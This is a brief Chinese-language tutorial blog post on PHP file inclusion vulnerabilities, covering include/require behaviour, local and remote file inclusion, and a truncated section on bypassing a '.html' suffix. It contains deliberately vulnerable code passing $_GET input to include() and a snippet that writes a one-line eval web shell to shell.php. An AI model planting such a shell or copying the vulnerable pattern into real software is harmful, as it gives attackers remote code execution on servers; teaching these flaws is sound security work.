文件包含

文件包含函数

(1)require():跟include唯一不同的是,当产生错误时候,include下面继续运行而require停止运行了。
(2)include():包含并运行指定文件,当包含外部文件发生错误时,系统给出警告,但整个php文件继续执行。
(3)require_once():只包含一次
(4)include_once():这个函数跟include函数作用几乎相同,只是他在导入函数之前先检测下该文件是否被导入。如果已经执行一遍那么就不重复执行了

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
(1)示例代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

$_GET[‘filename’]参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET[‘filename’]的值,执行非预期的操作。

无限制本地文件包含漏洞

<?php
$payload = "<?php @eval(\$_POST['wade']);?>";
$myfile = fopen("shell.php","w") or die("Unable");
fwrite($myfile,$payload);
fclose($myfile);
?>

远程文件包含

PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

无限制远程文件包含漏洞

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

通过远程文件包含漏洞,包含php.txt可以解析。

有限制远程文件包含漏洞绕过


<?php include($_GET['filename'] . ".html"); ?>

posted @ 2019-08-02 21:02  iwhattt  阅读(593)  评论(0编辑  收藏  举报